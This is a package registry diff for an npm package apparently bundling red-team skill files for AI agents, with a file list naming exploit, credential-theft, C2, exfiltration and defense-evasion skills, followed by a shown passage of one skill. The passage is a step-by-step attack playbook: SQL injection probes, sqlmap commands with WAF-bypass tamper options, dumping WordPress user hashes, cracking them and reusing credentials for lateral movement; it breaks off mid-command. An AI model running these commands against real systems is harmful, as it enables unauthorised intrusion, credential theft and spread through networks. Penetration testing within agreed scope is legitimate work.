rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,612 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-scenario-w002
|
|
3
|
+
description: "W-002: SQLi → Database Dump → Password Crack → Lateral Movement. Domain: web. Attack chain: parameter discovery → sqlmap exploitation → user table dump → hashcat → credential reuse → lateral movement. MITRE: T1190 → T1555 → T1078. Real example: WordPress login endpoint → dump users table → crack MD5/bcrypt → reuse on other services"
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# W-002: SQLi → Database Dump → Password Crack → Lateral Movement
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
**Attack Objective:** Exploit a SQL injection vulnerability to extract user credentials from a backend database, crack password hashes offline, and reuse cracked credentials to move laterally to other services within the target environment.
|
|
11
|
+
|
|
12
|
+
**Required Access Level:** None (unauthenticated — attack begins from the public internet or internal network depending on scope)
|
|
13
|
+
|
|
14
|
+
**Estimated Time to Execute:**
|
|
15
|
+
- Parameter discovery: 15–30 minutes
|
|
16
|
+
- SQLi exploitation and dump: 30–90 minutes
|
|
17
|
+
- Password cracking: 30 minutes to several hours (hash type and wordlist dependent)
|
|
18
|
+
- Credential reuse and lateral movement: 30–60 minutes
|
|
19
|
+
|
|
20
|
+
**Detection Risk Level:** Medium-High
|
|
21
|
+
- SQLmap generates high request volume — easily detected by WAF/IDS
|
|
22
|
+
- Offline cracking generates no network noise
|
|
23
|
+
- Credential reuse over common ports (SSH, RDP, SMB) may trigger authentication alerts
|
|
24
|
+
|
|
25
|
+
---
|
|
26
|
+
|
|
27
|
+
## Prerequisites
|
|
28
|
+
|
|
29
|
+
### Required Tools
|
|
30
|
+
|
|
31
|
+
```bash
|
|
32
|
+
# sqlmap — automated SQL injection tool
|
|
33
|
+
pip install sqlmap
|
|
34
|
+
# or
|
|
35
|
+
sudo apt install sqlmap
|
|
36
|
+
|
|
37
|
+
# hashcat — GPU-accelerated password cracker
|
|
38
|
+
sudo apt install hashcat
|
|
39
|
+
# Windows: download from https://hashcat.net/hashcat/
|
|
40
|
+
|
|
41
|
+
# ffuf — parameter and endpoint fuzzing
|
|
42
|
+
go install github.com/ffuf/ffuf/v2@latest
|
|
43
|
+
# or
|
|
44
|
+
sudo apt install ffuf
|
|
45
|
+
|
|
46
|
+
# wfuzz — alternative parameter fuzzer
|
|
47
|
+
pip install wfuzz
|
|
48
|
+
|
|
49
|
+
# hydra — credential stuffing / brute-force for lateral movement
|
|
50
|
+
sudo apt install hydra
|
|
51
|
+
|
|
52
|
+
# crackmapexec (CME) / netexec — lateral movement over SMB/SSH/RDP
|
|
53
|
+
pip install crackmapexec
|
|
54
|
+
# or use netexec (maintained fork)
|
|
55
|
+
pip install netexec
|
|
56
|
+
|
|
57
|
+
# curl — manual request crafting
|
|
58
|
+
# (pre-installed on most systems)
|
|
59
|
+
|
|
60
|
+
# Wordlists
|
|
61
|
+
# rockyou.txt — commonly available at /usr/share/wordlists/rockyou.txt on Kali
|
|
62
|
+
# SecLists — https://github.com/danielmiessler/SecLists
|
|
63
|
+
sudo apt install seclists
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
### Required Access or Conditions
|
|
67
|
+
|
|
68
|
+
- Target URL in scope (confirmed in Rules of Engagement)
|
|
69
|
+
- Web application with at least one parameter passed to a backend database (GET/POST)
|
|
70
|
+
- Outbound connectivity from attacker machine to target (for active exploitation)
|
|
71
|
+
- Wordlist for cracking (rockyou.txt or custom)
|
|
72
|
+
- GPU available for faster cracking (optional but strongly recommended for bcrypt)
|
|
73
|
+
|
|
74
|
+
### Skill Level
|
|
75
|
+
|
|
76
|
+
**INTERMEDIATE** — Requires understanding of SQL injection concepts, HTTP request structure, hash types, and basic network lateral movement techniques.
|
|
77
|
+
|
|
78
|
+
---
|
|
79
|
+
|
|
80
|
+
## Attack Chain
|
|
81
|
+
|
|
82
|
+
```
|
|
83
|
+
[1] Parameter Discovery
|
|
84
|
+
|
|
|
85
|
+
v
|
|
86
|
+
[2] SQLi Detection (manual + automated)
|
|
87
|
+
|
|
|
88
|
+
v
|
|
89
|
+
[3] sqlmap Exploitation (confirm injectable parameter)
|
|
90
|
+
|
|
|
91
|
+
v
|
|
92
|
+
[4] Database Enumeration (list databases, tables)
|
|
93
|
+
|
|
|
94
|
+
v
|
|
95
|
+
[5] User Table Dump (extract usernames + password hashes)
|
|
96
|
+
|
|
|
97
|
+
v
|
|
98
|
+
[6] Hash Identification
|
|
99
|
+
|
|
|
100
|
+
v
|
|
101
|
+
[7] Offline Password Cracking (hashcat)
|
|
102
|
+
|
|
|
103
|
+
v
|
|
104
|
+
[8] Credential Reuse (SSH, RDP, SMB, admin panels, email)
|
|
105
|
+
|
|
|
106
|
+
v
|
|
107
|
+
[9] Lateral Movement (pivot to internal systems)
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
**MITRE ATT&CK Chain:** T1190 (Exploit Public-Facing Application) → T1555 (Credentials from Password Stores) → T1078 (Valid Accounts)
|
|
111
|
+
|
|
112
|
+
---
|
|
113
|
+
|
|
114
|
+
## Step-by-Step Execution
|
|
115
|
+
|
|
116
|
+
### Step 1 — Parameter Discovery
|
|
117
|
+
|
|
118
|
+
Identify injectable parameters across the target application.
|
|
119
|
+
|
|
120
|
+
```bash
|
|
121
|
+
# Fuzz GET parameters on a known endpoint
|
|
122
|
+
ffuf -u "https://target.com/page?FUZZ=1" \
|
|
123
|
+
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
|
|
124
|
+
-mc 200,301,302 \
|
|
125
|
+
-o params_get.json
|
|
126
|
+
|
|
127
|
+
# Fuzz POST body parameters
|
|
128
|
+
ffuf -u "https://target.com/login" \
|
|
129
|
+
-X POST \
|
|
130
|
+
-d "FUZZ=test" \
|
|
131
|
+
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
|
|
132
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
133
|
+
-mc 200,301,302
|
|
134
|
+
|
|
135
|
+
# Also check for WordPress-specific endpoints
|
|
136
|
+
curl -s "https://target.com/wp-login.php" | grep -i "name="
|
|
137
|
+
```
|
|
138
|
+
|
|
139
|
+
**Expected Output:** A list of parameters that return different response codes or content lengths. Focus on parameters that interact with search, login, or ID-based lookups.
|
|
140
|
+
|
|
141
|
+
**Fallback:** If ffuf returns no interesting results, manually browse the application and capture requests with Burp Suite. Export requests to a file for sqlmap.
|
|
142
|
+
|
|
143
|
+
---
|
|
144
|
+
|
|
145
|
+
### Step 2 — Manual SQLi Probe
|
|
146
|
+
|
|
147
|
+
Before automating, verify injectable behavior manually to reduce noise.
|
|
148
|
+
|
|
149
|
+
```bash
|
|
150
|
+
# Test a GET parameter for error-based SQLi
|
|
151
|
+
curl -s "https://target.com/page?id=1'"
|
|
152
|
+
curl -s "https://target.com/page?id=1 AND 1=1--"
|
|
153
|
+
curl -s "https://target.com/page?id=1 AND 1=2--"
|
|
154
|
+
|
|
155
|
+
# WordPress login — test username field
|
|
156
|
+
curl -s -X POST "https://target.com/wp-login.php" \
|
|
157
|
+
-d "log=admin'&pwd=test&wp-submit=Log+In"
|
|
158
|
+
|
|
159
|
+
# Look for: SQL error messages, response size differences, time delays
|
|
160
|
+
```
|
|
161
|
+
|
|
162
|
+
**Expected Output:**
|
|
163
|
+
- Error-based: `You have an error in your SQL syntax`
|
|
164
|
+
- Boolean-based: Different page content for `1=1` vs `1=2`
|
|
165
|
+
- Blind: No visible change but detectable via response time
|
|
166
|
+
|
|
167
|
+
**Fallback:** If no error is visible, try time-based blind: `1 AND SLEEP(5)--` — if response delays 5 seconds, the parameter is injectable.
|
|
168
|
+
|
|
169
|
+
---
|
|
170
|
+
|
|
171
|
+
### Step 3 — sqlmap Exploitation
|
|
172
|
+
|
|
173
|
+
Confirm injection and identify the DBMS.
|
|
174
|
+
|
|
175
|
+
```bash
|
|
176
|
+
# Basic GET parameter test
|
|
177
|
+
sqlmap -u "https://target.com/page?id=1" \
|
|
178
|
+
--batch \
|
|
179
|
+
--level=3 \
|
|
180
|
+
--risk=2 \
|
|
181
|
+
--dbs
|
|
182
|
+
|
|
183
|
+
# POST parameter (e.g., WordPress login username field)
|
|
184
|
+
sqlmap -u "https://target.com/wp-login.php" \
|
|
185
|
+
--data="log=admin&pwd=test&wp-submit=Log+In" \
|
|
186
|
+
-p "log" \
|
|
187
|
+
--batch \
|
|
188
|
+
--level=3 \
|
|
189
|
+
--risk=2 \
|
|
190
|
+
--dbs
|
|
191
|
+
|
|
192
|
+
# With a saved Burp Suite request file
|
|
193
|
+
sqlmap -r request.txt \
|
|
194
|
+
--batch \
|
|
195
|
+
--level=3 \
|
|
196
|
+
--risk=2 \
|
|
197
|
+
--dbs
|
|
198
|
+
|
|
199
|
+
# Add cookies if authenticated session is needed
|
|
200
|
+
sqlmap -u "https://target.com/page?id=1" \
|
|
201
|
+
--cookie="PHPSESSID=abcdef1234567890" \
|
|
202
|
+
--batch \
|
|
203
|
+
--dbs
|
|
204
|
+
```
|
|
205
|
+
|
|
206
|
+
**Expected Output:**
|
|
207
|
+
```
|
|
208
|
+
[INFO] the back-end DBMS is MySQL
|
|
209
|
+
available databases [3]:
|
|
210
|
+
[*] information_schema
|
|
211
|
+
[*] wordpress
|
|
212
|
+
[*] mysql
|
|
213
|
+
```
|
|
214
|
+
|
|
215
|
+
**Fallback:** If WAF blocks sqlmap, add tamper scripts:
|
|
216
|
+
```bash
|
|
217
|
+
sqlmap -u "https://target.com/page?id=1" \
|
|
218
|
+
--tamper=space2comment,between,randomcase \
|
|
219
|
+
--delay=2 \
|
|
220
|
+
--batch \
|
|
221
|
+
--dbs
|
|
222
|
+
```
|
|
223
|
+
|
|
224
|
+
---
|
|
225
|
+
|
|
226
|
+
### Step 4 — Database and Table Enumeration
|
|
227
|
+
|
|
228
|
+
```bash
|
|
229
|
+
# List tables in the target database
|
|
230
|
+
sqlmap -u "https://target.com/page?id=1" \
|
|
231
|
+
--batch \
|
|
232
|
+
-D wordpress \
|
|
233
|
+
--tables
|
|
234
|
+
|
|
235
|
+
# For WordPress specifically
|
|
236
|
+
sqlmap -u "https://target.com/page?id=1" \
|
|
237
|
+
--batch \
|
|
238
|
+
-D wordpress \
|
|
239
|
+
-T wp_users \
|
|
240
|
+
--columns
|
|
241
|
+
```
|
|
242
|
+
|
|
243
|
+
**Expected Output:**
|
|
244
|
+
```
|
|
245
|
+
Database: wordpress
|
|
246
|
+
[12 tables]
|
|
247
|
+
+--------------------+
|
|
248
|
+
| wp_commentmeta |
|
|
249
|
+
| wp_comments |
|
|
250
|
+
| wp_options |
|
|
251
|
+
| wp_posts |
|
|
252
|
+
| wp_users |
|
|
253
|
+
| wp_usermeta |
|
|
254
|
+
+--------------------+
|
|
255
|
+
|
|
256
|
+
Table: wp_users
|
|
257
|
+
[10 columns]
|
|
258
|
+
+---------------------+
|
|
259
|
+
| ID |
|
|
260
|
+
| user_login |
|
|
261
|
+
| user_pass |
|
|
262
|
+
| user_email |
|
|
263
|
+
| user_registered |
|
|
264
|
+
+---------------------+
|
|
265
|
+
```
|
|
266
|
+
|
|
267
|
+
**Fallback:** If table listing fails, try:
|
|
268
|
+
```bash
|
|
269
|
+
sqlmap -u "https://target.com/page?id=1" \
|
|
270
|
+
--batch \
|
|
271
|
+
-D wordpress \
|
|
272
|
+
--common-tables
|
|
273
|
+
```
|
|
274
|
+
|
|
275
|
+
---
|
|
276
|
+
|
|
277
|
+
### Step 5 — User Table Dump
|
|
278
|
+
|
|
279
|
+
```bash
|
|
280
|
+
# Dump user credentials from wp_users
|
|
281
|
+
sqlmap -u "https://target.com/page?id=1" \
|
|
282
|
+
--batch \
|
|
283
|
+
-D wordpress \
|
|
284
|
+
-T wp_users \
|
|
285
|
+
-C "user_login,user_pass,user_email" \
|
|
286
|
+
--dump
|
|
287
|
+
|
|
288
|
+
# Output is saved automatically to:
|
|
289
|
+
# ~/.local/share/sqlmap/output/<target>/dump/wordpress/wp_users.csv
|
|
290
|
+
```
|
|
291
|
+
|
|
292
|
+
**Expected Output:**
|
|
293
|
+
```
|
|
294
|
+
+------------+------------------------------------+-------------------------+
|
|
295
|
+
| user_login | user_pass | user_email |
|
|
296
|
+
+------------+------------------------------------+-------------------------+
|
|
297
|
+
| admin | $P$BhBYcs4M9Rp5VVb9rMHJAkDq7dJo0m1 | admin@target.com |
|
|
298
|
+
| editor | $P$BZaK0UrwT4TQhspvhmY87V.l5HZUI/0 | editor@target.com |
|
|
299
|
+
+------------+------------------------------------+-------------------------+
|
|
300
|
+
```
|
|
301
|
+
|
|
302
|
+
**Fallback:** If the dump is slow or interrupted, use `--start` and `--stop` to paginate:
|
|
303
|
+
```bash
|
|
304
|
+
sqlmap -u "https://target.com/page?id=1" \
|
|
305
|
+
--batch \
|
|
306
|
+
-D wordpress \
|
|
307
|
+
